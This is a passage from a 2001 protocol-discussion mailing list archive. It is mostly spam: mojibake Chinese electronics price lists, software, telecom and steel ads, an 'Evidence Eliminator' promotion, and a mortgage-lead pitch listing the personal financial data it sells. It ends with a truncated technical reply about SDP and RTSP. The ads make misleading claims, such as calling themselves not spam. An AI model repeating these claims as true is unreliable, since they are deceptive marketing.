  (SMTPD32-7.00 EVAL) id A931B901B6; Sat, 06 Oct 2001 03:25:37 +0800
To: 
Subject: ̨ÍåÁ¦´ï¼¯ÍÅÓÐÏÞ¹«Ë¾-µçÄÔ/ÊÖ»ú½ø¿ÚÅú·¢Ã³Ò×
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Sat, 6 Oct 2001 03:30:34 +0800
Message-Id: <20011006032501.SM02684@>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

ÈôҪȡÏû£¬Çë»Ø¸´:  cancel@btamail.net.cn         
̨ÍåÁ¦´ï¼¯ÍÅÓÐÏÞ¹«Ë¾-µçÄÔ/ÊÖ»ú½ø¿ÚÅú·¢Ã³Ò× 
ÎÒ¹«Ë¾ÏÖÓÐÒ»Åú½ø¿ÚµçÄÔÅä¼þ¡¢ÊÖ»úµÈ²úÆ·£¬ÖÊÁ¿±£Ö¤£¬ÊÖÐøÆëÈ«¡£
³ÐŵÈý¸öÔ°ü»»£¬Ò»Äê±£ÐÞ¡£»õµÖ´ï¹óµØºóÔÙ¸¶¿î¡£
ÈçÐèÆäËû²úÆ·£¬È綫֥¡¢Ë÷Äá±Ê¼Ç±¾µçÄԵȣ¬¿ÉÀ´µçË÷È¡¼Û¸ñ±í¡£

                        ̨ÍåÁ¦´ï¼¯ÍÅÓÐÏÞ¹«Ë¾

ÁªÏµÈË£ºËÎÊÀºè µç»°£º013959996894

Ò»¡¢±Ê¼Ç±¾µçÄÔ
COMPAQ
800       P¢ó700/128M/20G/12.1TFT/24XCD/56K           10250
1700      P¢ó800/128M/20G/14.1TFT/DVD/56K             10250
M300      P¢ó600/64M/12G/12.1TFT/56K/100M             7250

TOSHIBA
3000      P¢ó900/128M/30G/14.1TFT/8XDVD/56K/100M      11150
8100H     P¢ó750/128M/20G/14.1TFT/6XDVD               9200
3490CT    P¢ó700/128M/20G/11.3TFT/³¬Çᳬ±¡/8M         10150
31CDT     P¢ó700/128M/20G/12.1XGA/24XCD/56K/100M      9150

IBM£¨À¶¿ìÖʱ££©
T22 4EC   P¢ó900/128M/20G/14.1TFT/8XDVD/56K/100M     13450
T22 9EC   P¢ó1G/128M/32G/14.1TFT/8DVD/56K/100M       17450
A22 SAC   P¢ó900/128M/20G/15.1TFT/8XDVD/56K/8M       13100
A22 RIC   P¢ó850/64M/20G/15.1TFT/8XDVD/56K           10650
X   4BC   P¢ó600/64M/10G/12.1TFT/24XCD/56K           8750
I   93C   P¢ó750/64M/20G/13.3TFT/8XDVD/56K           8650

NEC 
VXI       P¢ó800/64M/10G/13.3TFT/24XCD/8XDVD/56K 7600/8150
APT       P¢ó800/128M/20G/13.3TFT/8XDVD/56K/100M     10400
APT       P¢ó850/128M/20G/13.3TFT/8XDVD/56K/100M     11900
APT       P¢ó850/128M/20G/14.1TFT/8XDVD/56K/100M     12444
APT       P¢ó1G/128M/20G/14.1TFT/8XDVD/56K/100M      14900
TXI       P¢ó750/64M/10G/12.1XGA/24XCD/56K/100M      9999.5
TXI       P¢ó750/128M/20G/12.1XGA/8XDVD/56K/100M     11900

¶þ¡¢UPSµçÔ´
DELTA NϵÁÐ1KVA       2750
DELTA NϵÁÐ2KVA       5775
DELTA NϵÁÐ6KVA       15675
ɽÌØ M1000              550
ɽÌØ MT500              265
ɽÌØ TG1000              300

Èý¡¢ºÄ²Ä
HP 51604A£¨ºÚ£© ºÚÉ«         50
HP 51626A£¨ºÚ£© ºÚÉ«         110
HP 51626G£¨ºÚ£© ºÚÉ«         65
HP 51633M£¨ºÚ£© ºÚÉ«         123
Canon Ä«ºÐBC-02ºÚÉ« ºÚÉ«    68
Canon Ä«ºÐBC-05²ÊÉ« ²ÊÉ«    84
Canon Ä«ºÐBC-32²ÊÉ« ²ÊÉ«    163

 
ËÄ¡¢µçÄÔÅä¼þ
1¡¢ÈýÐÇÏÔʾÆ÷
15" 150T Òº¾§´ø·µµã£º2900Ôª
17" 700 IFT´¿Æ½1280*1024@85Hz/2 ´ø·µµã£º 1200Ôª
15" 550S1024*768Êý¿Ø24£º540Ôª
17" 750S OSDÖÐÓ¢ÎIJ˵¥24£º640Ôª
17" 750ST ²Ê¿Ç´øÒôÏ䣺 750Ôª
17" 770TFT Òº¾§¡¢´ø·µµã£º5400Ôª
17" 755DF ´¿Æ½1600*1200/68Hz/2/Invar ÒñÕÖ£º1000Ôª

2¡¢¿Ì¼»ú
SONY 140E ÄÚÖà IDE32¶Á8д4²Á£º700Ôª
SONY 140E ÄÚÖà SCSI 32¶Á8д4²Á£º900Ôª
SONY CDRW ¿Ì¼»ú CRX140E-B£º320Ôª

3¡¢Ö÷°å
΢ÐÇ MS-K7T266Pro: 600Ôª        MS-6368: 250Ôª
»ªË¶ A7A266: 620Ôª              CuA266: 640Ôª
÷½Ý 6BA+100: 320Ôª             7VMB-B: 340Ôª
×êʯ CA63: 280Ôª                CS65-EC: 400Ôª

4¡¢ÄÚ´æÌõ
ǧìûÌõ 128MPC133: 70Ôª
ǧìûÌõ 256MPC133: 140Ôª
ǧìûÌõ 64MPC133: 25Ôª

5¡¢Ó²ÅÌ
IMB 20G/30G/40G/60G£º400Ôª/600Ôª/760Ôª/830Ôª
À¥ÌÚ 20G/30G/40G£º350Ôª/550Ôª/620Ôª

6¡¢ÏÔ¿¨
΢ÐÇ GA1280-32EGEFORCE2 MX32M£º270Ôª
MS-88088 TNT2M6432M£º200Ôª  
MS-88188 Geforce2mx32mtv-aut£º290Ôª

7¡¢CPU
INTEL 933/866EB: 1000/840Ôª   733/700A£º400/320Ôª

8¡¢¹âÇý
SONY 52/48X: 220Ôª/150Ôª    »ªË¶ 40X: 200Ôª

Îå¡¢ ÊÖ»ú
ĦÍÐÂÞÀ­£ºA6288: 2500Ôª    A6188: 1300Ôª  8088£º1100Ôª     9988£º1100Ôª
ŵ»ùÑÇ£º8850£º1100Ôª   8210£º1100Ôª   8250£º1150Ôª  5110£º270Ôª
ÈýÐÇ£ºA288£º 2100Ôª   A188£º1200Ôª
·ÉÀûÆÖ£º9@9£º1050Ôª    989£º680Ôª

ÈçÐèÆäËû²úÆ·£¬È綫֥¡¢Ë÷Äá±Ê¼Ç±¾µçÄԵȣ¬¿ÉÀ´µçË÷È¡¼Û¸ñ±í¡£

    ̨ÍåÁ¦´ï¼¯ÍÅÓÐÏÞ¹«Ë¾

ÁªÏµÈË£ºËÎÊÀºè µç»°£º013959996894

From confctrl-owner  Fri Oct  5 13:55:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA21627
	for confctrl-outgoing; Fri, 5 Oct 2001 13:55:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA21622
	for <confctrl@zephyr.isi.edu>; Fri, 5 Oct 2001 13:55:26 -0700 (PDT)
Received: from mail.emarq.com (h209-17-159-225.gtconnect.net [209.17.159.225])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f95Kthv22546
	for <confctrl@isi.edu>; Fri, 5 Oct 2001 13:55:44 -0700 (PDT)
Received: from jlee1 (behesht.emarq [10.10.10.155])
	by mail.emarq.com (8.10.2/8.9.3) with SMTP id f95KtZ724083
	for <confctrl@isi.edu>; Fri, 5 Oct 2001 13:55:35 -0700
Message-Id: <200110052055.f95KtZ724083@mail.emarq.com>
From: Julie Lee <jlee@pinpost.com>
To: confctrl@ISI.EDU
Subject: PinPost: The Peer-to-Peer Buy & Sell Network for your University
X-Mailer: Mailer Signature
Reply-To: jlee@pinpost.com
Date: Fri, 5 Oct 2001 13:52:49 -0800
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns="http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv="Content-Language" content="en-us">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Dear students & staff</title>
</head>

<body leftmargin="0" topmargin="0" marginheight="0" marginwidth="0" bgcolor="#ffffff">

<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="53%" id="AutoNumber1" height="468">
  <tr>
    <td width="56%" colspan="2" height="98">
    <img src="http://www.pinpost.com/umailer/umailer_topbar.gif" usemap="#index_topbar.gif" border="0" width="783" height="116">

<map name="index_topbar.gif">
<area shape="rect" coords="3,1,62,25" href="http://www.pinpost.com" target="">
<area shape="rect" coords="584,0,792,27" href="http://www.pinpost.com/download/pinpost.install98.exe" target="">

</map></td>
  </tr>
  <tr>
    <td width="29%" height="351" valign="top">
    <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber3">
      <tr>
        <td width="4%">&nbsp;</td>
        <td width="96%">
    <p class="MsoNormal">
    <span style="font-family: Trebuchet MS; font-weight:700">Dear students and staff, &nbsp;</span></p>
    <p class="MsoNormal">
    <span style="FONT-FAMILY: Trebuchet MS"><font size="2">A new and exciting&nbsp;<span class="954151018-18092001">application
    has&nbsp;<font color="#000000">just been released to help&nbsp;you buy and
    sell your stuff on campus or in your community.
    </font></span>PinPost (<a style="color: blue; text-decoration: underline" href="http://www.pinpost.com">http://www.PinPost.com</a>)<span class="954151018-18092001">&nbsp;is
    a free, downloadable </span>peer-to-peer application for buying, selling,
    and community announcements through classified-style listings targeted to
    your own university and city.&nbsp;<br>
    </font></span>
    <span style="font-family: Trebuchet MS"><font size="2"> <br>
    Similar to
    Napster and Morpheus, PinPost is based on p2p technology. </font></span>
    <font size="2"><span style="FONT-FAMILY: Trebuchet MS">You can search for
    and post listings for virtually anything in your own neighborhood and
    elsewhere.&nbsp;<span class="954151018-18092001"><font color="#0000ff">
    </font></span>Sell your used bike, search for furniture, find a roommate,
    browse for a PC, or simply find the text books you need in your area and&nbsp;<span class="954151018-18092001">surrounding
    neighborhoods</span>. </span></font></p>
        <p>&nbsp;</td>
      </tr>
    </table>
    <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber5" height="89">
      <tr>
        <td width="4%" height="89">&nbsp;</td>
        <td width="96%" height="89" align="left">
        <p style="MARGIN-LEFT: 0px"><font face="Trebuchet MS" size="2"><b>
        Features:</b> </font></p>
        <ul class="body">
          <li class="body"><font face="Trebuchet MS" size="2">Instant and free
          postings </font></li>
          <li><font face="Trebuchet MS" size="2">Instant messaging among buyers
          and sellers </font></li>
          <li class="body"><font face="Trebuchet MS" size="2">Discussion groups,
          organize an outing, or a party </font></li>
          <li class="body"><font face="Trebuchet MS" size="2">Export of your
          posts to Usenet forsale groups for more exposure</font></li>
        </ul>
        </td>
      </tr>
    </table>
    </td>
    <td width="27%" height="351" valign="top">
    <p align="center">
    <img border="0" src="http://www.pinpost.com/umailer/umailer_stuff.jpg" width="334" height="206"><br>
    <font color="#ab0207" face="Trebuchet MS" style="FONT-SIZE: 11pt"><b><i>Post
    your old textbooks for sale,<br>
    browse for used furniture,<br>
    find a computer,<br>
    announce a party...and much more, <br>
    all for free, all in one place.<br>
&nbsp;</i></b></font><table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2" height="71">
      <tr>
        <td width="100%" align="center" valign="top" height="71">
        <a href="http://www.webattack.com/get/pinpost.shtml">
        <img border="0" src="http://www.pinpost.com/umailer/5webattack.gif"></a></td>
      </tr>
    </table>
    </td>
  </tr>
  <tr>
    <td width="56%" colspan="2" height="17">
    <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4">
      <tr>
        <td width="2%">&nbsp;</td>
        <td width="98%">
    <div class="Section1">
      <p class="MsoNormal">
      <span style="font-family: Trebuchet MS"><font size="2">To download PinPost, go to
      <a style="color: blue; text-decoration: underline; text-underline: single" href="http://www.pinpost.com">http://www.PinPost.com</a>. </font> </span>
      <span style="FONT-FAMILY: Trebuchet MS"><font size="2">We encourage you to
      provide<span class="954151018-18092001"> feedback about the application to
      your community members and the&nbsp;PinPost&nbsp;team</span>.&nbsp;<span class="954151018-18092001">&nbsp;</span>
      <p class="MsoNormal"><font size="2"></P>
      <span style="FONT-FAMILY: Trebuchet MS">Thank you,<span class="954151018-18092001">
      </span></span></font></div>
    <p class="MsoNormal">
    <span style="font-family: Trebuchet MS"><font size="2">Julie Lee<br>
    PinPost Team<br>
    <a href="mailto:jlee@pinpost.com">jlee@pinpost.com</a></font></span></p>
    <div class="Section1">
      <p class="MsoNormal" align="center" style="text-align: center"><i>
      <span style="font-size: 8.0pt; font-family: Trebuchet MS">Please feel free
      to forward this message to friends who might be interested in PinPost.</span></i><font face="Trebuchet MS"><i><span style="font-size: 8.0pt"><br>
      PinPost is not associated with any university.<BR>To Unsubscribe, reply to this e-mail with "REMOVE" in the subject line or click on this link --&gt;&nbsp; <A
      href="mailto:jlee@pinpost.com?Subject=REMOVE">jlee@pinpost.com?Subject=REMOVE</A></span></i></font></p>
      </div>
        </td>
      </tr>
    </table>
    </td>
  </tr>
</table>

</body>

</html>

From confctrl-owner  Fri Oct  5 21:48:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA15141
	for confctrl-outgoing; Fri, 5 Oct 2001 21:48:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA15136
	for <confctrl@zephyr.isi.edu>; Fri, 5 Oct 2001 21:48:24 -0700 (PDT)
Received: from giascl01.vsnl.net.in (giascl01.vsnl.net.in [202.54.9.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f964mev12162
	for <confctrl@isi.edu>; Fri, 5 Oct 2001 21:48:41 -0700 (PDT)
Received: from mangal (ppp113-162.pppcal.vsnl.net.in [203.197.113.162])
	by giascl01.vsnl.net.in (Postfix) with SMTP id 656CFDBA8
	for <confctrl@isi.edu>; Sat,  6 Oct 2001 10:16:57 +0530 (IST)
From: "Mangal Steel Enterprises Ltd." <mangal@giascl01.vsnl.net.in>
To: confctrl@ISI.EDU
Reply-To: mangal@giascl01.vsnl.net.in
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-Id: <20011006044657.656CFDBA8@giascl01.vsnl.net.in>
Date: Sat,  6 Oct 2001 10:16:57 +0530 (IST)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Dear Sirs
 
Mangal Steel Enterprises Limited is engaged in manufacture of various steel products used in 
Trellising.  We have been successful in exporting our products to US and European countries.  
We manufacture Rolled Edge Vertical Line Posts, V-3 Posts, Vineyard Threaded Upright 
Offshoot Post, 'U' Bolt, Clips and other allied products.
 
We would like to offer our products for your evaluation.  For detailed information, please visit our 
website at www.steelmangal.com.
 
You may send your valued enquiries to us or to our U.S. Agent -
 
Mr. Gary Helmer
12715 De Forrest
Houston TX 77066
Tel : 832 484 1743
Fax: 832 484 1714
E-Mail : helmer3733@aol.com
 
With warm regards
 
PEEYUSH


From confctrl-owner  Sat Oct  6 18:35:04 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA11390
	for confctrl-outgoing; Sat, 6 Oct 2001 18:35:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA11334
	for <confctrl@zephyr.isi.edu>; Sat, 6 Oct 2001 18:35:00 -0700 (PDT)
Received: from [212.45.4.131] ([212.45.4.131])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f971ZHg19286
	for <confctrl@isi.edu>; Sat, 6 Oct 2001 18:35:18 -0700 (PDT)
Received: from 158.252.61.213 (unverified [158.252.61.213]) by 
 (Rockliffe SMTPRA 3.4.5) with SMTP id <B0000052956@>;
 Sun, 7 Oct 2001 05:35:12 +0400
Message-ID: <000070277e78$00005083$00005f0a@>
To: <Undisclosed.Recipients@ISI.EDU>
From: harrietta@aemail4u.com
Subject: Instate, out of state 2.9 cents per min
Date: Sat, 06 Oct 2001 18:12:55 -0500
X-Priority: 1
X-MSMail-Priority: High
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

* * * * * * * For The First Time in Telecom History * * * * * * *

* * * * * * * You Can Have Your Cake and Eat It Too! * * * * * * 

* * * * * * * * * * * The Best of Both Worlds! * * * * * * * * * *

* * * * * * * * 2.9 Cents per Minute Long Distance * * * * * * * * *

                             OR

* * * * * * * UNLIMITED FLAT RATE LONG DISTANCE * * * * * * * *


********************  YOU MAKE THE CALL!   ********************** 



No Credit Check! No Contracts or long Term Obligations! No More
"Local Long Distance" Calling! No Fine Print, or Hidden Fees!
No Changing Carriers! Just TALK as much as you want with these 
incredible low rates 2.9 cents a minute or Flate Rate  

* * * * * * * * * * * ABSOLUTELY NO GIMMICKS  * * * * * * * * * *

* * * * * * * * * * * ACTIVATION IN 48 HOURS * * * * * * * * * * 


FOR MORE INFORMATION: on our 2.9 cents a minute Long Distance
OR our Unlimited Long Distance click on the hyperlink below and 
mailto: bestinflatrate@yahoo.com.=Type more info in the subjct box.    




To unsubscribe:ilike2_9_ld@yahoo.com


From confctrl-owner  Sat Oct  6 22:53:09 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA21933
	for confctrl-outgoing; Sat, 6 Oct 2001 22:53:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA21928
	for <confctrl@zephyr.isi.edu>; Sat, 6 Oct 2001 22:53:08 -0700 (PDT)
Received: from ck.sci-nnov.ru ([195.122.242.50])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f975rPg16516
	for <confctrl@isi.edu>; Sat, 6 Oct 2001 22:53:25 -0700 (PDT)
Received: from 168.191.177.137 (sdn-ar-001txhousP247.dialsprint.net [168.191.177.137])
	by ck.sci-nnov.ru (Postfix) with SMTP
	id 0A475373C3; Sun,  7 Oct 2001 09:37:49 +0400 (MSD)
Message-ID: <000041f56a5b$00001c05$00001e51@>
To: <Undisclosed.Recipients@ck.sci-nnov.ru>
From: irene44@aemail4u.com
Subject: "Start Spreading  the News-2.9 cents per min!
Date: Sat, 06 Oct 2001 22:22:50 -0500
X-Priority: 1
X-MSMail-Priority: High
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

* * * * * * * For The First Time in Telecom History * * * * * * *

* * * * * * * You Can Have Your Cake and Eat It Too! * * * * * * 

* * * * * * * * * * * The Best of Both Worlds! * * * * * * * * * *

* * * * * * * * 2.9 Cents per Minute Long Distance * * * * * * * * *

                             OR

* * * * * * * UNLIMITED FLAT RATE LONG DISTANCE * * * * * * * *


********************  YOU MAKE THE CALL!   ********************** 



No Credit Check! No Contracts or long Term Obligations! No More
"Local Long Distance" Calling! No Fine Print, or Hidden Fees!
No Changing Carriers! Just TALK as much as you want with these 
incredible low rates 2.9 cents a minute or Flate Rate  

* * * * * * * * * * * ABSOLUTELY NO GIMMICKS  * * * * * * * * * *

* * * * * * * * * * * ACTIVATION IN 48 HOURS * * * * * * * * * * 


FOR MORE INFORMATION: on our 2.9 cents a minute Long Distance
OR our Unlimited Long Distance click on the hyperlink below and 
mailto: bestinflatrate@yahoo.com.=Type more info in the subjct box.    




To unsubscribe:ilike2_9_ld@yahoo.com


From confctrl-owner  Tue Oct  9 06:17:48 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA00118
	for confctrl-outgoing; Tue, 9 Oct 2001 06:17:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA00105
	for <confctrl@zephyr.isi.edu>; Tue, 9 Oct 2001 06:17:46 -0700 (PDT)
Received: from dont-get-caught.com (ESS-p-144-138-79-83.mega.tmns.net.au [144.138.79.83])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f99DHvg09103;
	Tue, 9 Oct 2001 06:17:58 -0700 (PDT)
From: <Promotions@dont-get-caught.com>
Subject: Eliminate Your Private Data from your hard drive.
Date: Tue, 9 Oct 2001 23:15:54
Message-Id: <179.163006.841178@dont-get-caught.com>
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<HTML><HEAD><TITLE>EVIDENCE ELIMINATOR</TITLE>
</HEAD>
<BODY bgColor=#ffffff link="#FF0000" vlink="#FF0000" alink="#FF0000">
<DIV align=center style="width: 612; height: 150">
<p align="center">
<!--------------------------- STOP COPYING THE HTML HERE ---------------------------><font size="5" color="#FF0000"><b>HOLD
THE PRESS</b> !!!</font>
<p align="center">We have secured a contract with Robin Hood Software. We are
now in a position to offer a&nbsp;<b> MASSIVE 50% DISCOUNT</b> on the new <b><u> Evidence Eliminator
v5.0</u></b>.
<p align="center"><font color="#FF0000"><u>This offer ends on 12th October 1200 GMT&nbsp;2001</u></font></DIV>
<table border="0" width="540" cellpadding="0" cellspacing="0" height="352">
  <tr>
    <td colspan="2" height="25"><a href="http://www.evidence-eliminator.com/go.shtml?A654477++"><img border="0" src="http://64.71.139.181/eliminator/Animation1.gif" width="600" height="38"></a></td>
  </tr>
  <tr>
    <td width="330" height="122"><a href="http://www.evidence-eliminator.com/go.shtml?A654477++"><img border="0" src="http://64.71.139.181/eliminator/eviden1.gif" width="300" height="122"></a></td>
    <td width="300" height="122"><a href="http://www.evidence-eliminator.com/go.shtml?A654477++"><img border="0" src="http://64.71.139.181/eliminator/eviden2.gif" width="300" height="122"></a></td>
  </tr>
  <tr>
    <td width="330" height="118"><a href="http://www.evidence-eliminator.com/go.shtml?A654477++"><img border="0" src="http://64.71.139.181/eliminator/eviden3.gif" width="300" height="121"></a></td>
    <td width="300" height="118"><a href="http://www.evidence-eliminator.com/go.shtml?A654477++"><img border="0" src="http://64.71.139.181/eliminator/eviden4.gif" width="300" height="121"></a></td>
  </tr>
  <tr>
    <td width="330" height="109"><a href="http://www.evidence-eliminator.com/go.shtml?A654477++"><img border="0" src="http://64.71.139.181/eliminator/eviden5.gif" width="300" height="122"></a></td>
    <td width="300" height="109"><a href="http://www.evidence-eliminator.com/go.shtml?A654477++"><img border="0" src="http://64.71.139.181/eliminator/eviden6.gif" width="300" height="122"></a></td>
  </tr>
  <tr>
    <td width="632" colspan="2" height="5"><a href="http://www.evidence-eliminator.com/go.shtml?A654477++"><img border="0" src="http://64.71.139.181/eliminator/click.gif" width="600" height="40"></a></td>
  </tr>
</table>
<table border="0" cellpadding="0" cellspacing="0" width="54%" height="204">
  <tr>
    <td width="100%" height="204"><font face="Times New Roman" size="2">Please Note: This is not an unsolicited email, It complies with
      U.S. Federal&nbsp;<br>
      requirements for commercial email under bill S.1618 &amp; should not be<br>
 considered SPAM as it includes removal instructions.<br>
      <br>
      This email was sent because your email address was verified, &amp;&nbsp;<br>
      double confirmed to receive special offers and promotions.<br>
      Should you wish not to receive further offers and promotions in the future,<br>
      then please inform us by clicking the link below, Thank You</font>
      <p><font size="2"><a href="http://hothosting.org/promotions">UNSUBSCRIBE ME PLEASE</a></font></p>
    </td>
  </tr>
</table>
<p>

<br> 
</p>
</BODY></HTML>

From confctrl-owner  Tue Oct  9 17:26:27 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA26335
	for confctrl-outgoing; Tue, 9 Oct 2001 17:26:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA26316
	for <confctrl@zephyr.isi.edu>; Tue, 9 Oct 2001 17:26:24 -0700 (PDT)
Received: from hqbdc.autoq ([193.130.120.172])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9A0QXg02738;
	Tue, 9 Oct 2001 17:26:33 -0700 (PDT)
Received: from slip-12-64-223-229.mis.prserv.net (slip-12-64-235-151.mis.prserv.net [12.64.235.151]) by hqbdc.autoq with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 4HTTHC48; Wed, 10 Oct 2001 01:29:25 +0100
Date: Wed, 10 Oct 2001 17:25:56 -0700
Content-Type: text/plain;
	 charset="us-ascii"
Content-Transfer-Encoding: 7BIT
From: disk34@ixbokubvlm.yahoo.com
To: quaick@idlcyykd.hotmail.com
Reply-To: funny453@yahoo.com
Importance: Normal
X-MSMail-Priority: Normal
Message-Id: <28rg1sdbsf3v7k.84xa6r66jplp@slip-12-64-223-229.mis.prserv.net>
Subject: Start ordering mortgage leads today!!! -xubxmrrd
X-Priority: 3 (Normal)
X-Mailer: Netscape Mail v4.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Are You A Mortgage Broker in Need of Leads?

Experience the INCREASED SALES a quality lead will have on your business!


Are you looking for a more efficient and effective way to spend your marketing dollars?

We understand the impact a qualified lead can have on your business!  That’s why all leads are issued to you within 24-48 hours of the borrower’s request for a lender!

	That’s right…these prospects are REQUESTING YOUR SERVICES!

Features of our Mortgage Service Advertising Program:

	Leads with a minimum of 30 fields of information to give your Loan Officers
                                   Insight before they call!
	Rapid lead delivery from borrower’s request for your services!
	Leads are emailed in Excel format for easy integration into your sales software!
	Criteria selection for your leads based on borrower’s state and credit type!

Benefits of our Mortgage Service Advertising Program:

	Leads sold EXCLUSIVELY to you!  The prospect’s information is only being sent to you!
	Highly qualified lead!  The prospect WANTS your services and you have THEIR information!
	Advertising SAVINGS cost to you!  MAXIMIZE your marketing dollars!
	HIGHER closing ratios than any other marketing method!

TO ORDER LEADS IN YOUR STATE, CALL (888) 264-9272

Take a look at the information below to see what you will be provided with on each lead:

Mortgage Sample Lead

Are you a Homeowner
Applicant Name
Co-Applicant Name
Address Line 1
Address Line 2
City
State 
Zip Code
Home Phone
Work Phone	
Property Type
Purchase Price
Year Property was Acquired
Present Value of Property
Amount Owed on First Mortgage     
Current Interest Rate on First
First-Fixed or Adjustable
First Monthly Payment
Second Mortgage Balance
Current Interest Rate on Second Mortgage    
Second Mortgage  Fixed or Adjustable
Second Monthly Payment
Current Employer
Years with Current Employer
Yearly Income
How Would you Describe Your Credit
Ever had a Bankruptcy or Foreclosure?
Best Time to Contact You
Type of Loan Desired
Email Address

*************************************************************************************************
If you want to be removed from our mailing please mail us at
nijungle3@yahoo.com with subject of remove, and you will be 
removed asap. Thanks
************************************************************************************************


From confctrl-owner  Tue Oct  9 19:34:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA02282
	for confctrl-outgoing; Tue, 9 Oct 2001 19:34:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA02277
	for <confctrl@zephyr.isi.edu>; Tue, 9 Oct 2001 19:34:50 -0700 (PDT)
Received: from purple.nge.isi.edu ([65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9A2Z8g15016
	for <confctrl@ISI.EDU>; Tue, 9 Oct 2001 19:35:08 -0700 (PDT)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id f9A2WGI03394;
	Tue, 9 Oct 2001 22:32:16 -0400
Message-Id: <200110100232.f9A2WGI03394@purple.nge.isi.edu>
To: emre.aksu@nokia.com
cc: confctrl@ISI.EDU
Subject: Re: SDP and RTSP related questions 
In-Reply-To: Your message of "Fri, 05 Oct 2001 19:12:41 +0300."
             <7F874D8CD4FDA54AAAE7C8B43D32B8070A4AF3@trebe004.NOE.Nokia.com> 
Date: Tue, 09 Oct 2001 22:32:15 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> emre.aksu@nokia.com writes:
>Hello,
>I have two questions to ask related to SDP and RTSP 
>
>The 1st is related to the internet draft "draft-ietf-mmusic-sdp-new-03.txt",
>the SDP protocol.
>This draft introduces some changes to the current RFC 2327. One of the
>changes that I can address right now is making both the 'e' and 'p' fields
>optional. (In RFC 2326, at least one of them must be present in the SDP
>information).
>
>Since the 'version' field is still '0' in the new draft document, it is
>impossible to distinguish whether an SDP content is built according to RFC
>2327, or the new version, which will be defined by this draft document. This
>will definitely bring some compatibility problems with the current
>implementations of SDP parsers.
>
>I am wondering if it will be a good solution to change the "v=0" field to
>"v=1" in this draft, to address the difference in versions to solve the
>compatibility problem.

No, I don't think so. The rationale for the change was that there are
implementations which make the 'e' and 'p' fields optional anyway, so
the change is reflecting existing practise.

>2nd question is related to a difference in interpretation of the "c" field
>in RFC 2326 (RTSP) and RFC 2327 (SDP). 
>
>According to SDP RFC, "c" field defines the connection information and
>possibly the address of the media data source, i.e. the server that sends
>the media related packets for unicast case.
>
>According to RTSP RFC, "c" field is defined as follows:
>
>---------------------------------------------
>(taken from section C.1.7 in RFC 2326)
>...
>C1.7 Connection Information
>
>In SDP, the "c=" field contains the destination address for the media
>stream. However, for on-demand unicast streams and some multicast
>streams, the destination address is specified by the client via the
>SETUP request. Unless the media content has a fixed destination
>address, the "c=" field is to be set to a suitable null value. For
>addresses of type "IP4", this value is "0.0.0.0".
